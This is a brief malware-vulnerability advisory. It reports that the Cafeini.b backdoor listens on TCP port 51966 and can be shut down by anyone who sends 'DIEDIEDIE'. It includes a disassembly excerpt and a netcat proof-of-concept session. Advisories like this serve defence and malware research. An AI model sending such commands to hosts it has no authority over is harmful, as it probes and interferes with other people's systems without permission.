Backdoor.Win32.Cafeini.b Denial Of Service

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/b24c56abb4bde960c2d51d4e509d2c68.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Cafeini.b  
Vulnerability: Denial of Service  
Family: Cafeini  
Type: PE32  
MD5: b24c56abb4bde960c2d51d4e509d2c68  
Vuln ID: MVID-2022-0525  
Disclosure: 03/25/2022  
Description: The malware listens on TCP port 51966 and is packed by a modified UPX implementation. Third-party adversaries who can reach an infected system can terminate the malware by issuing the cmd DIEDIEDIE, without being required to authenticate.  
  
UPX1:004560B4 aDiediedie db 'DIEDIEDIE',0 ; DATA XREF: sub_406C68:loc_40739E  
UPX1:004560B4 ; sub_40DB4D+255B  
UPX1:004560BE align 10h  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 51966  
CAFEiNi 1.1  
Enter your password:  
DIEDIEDIE  
  
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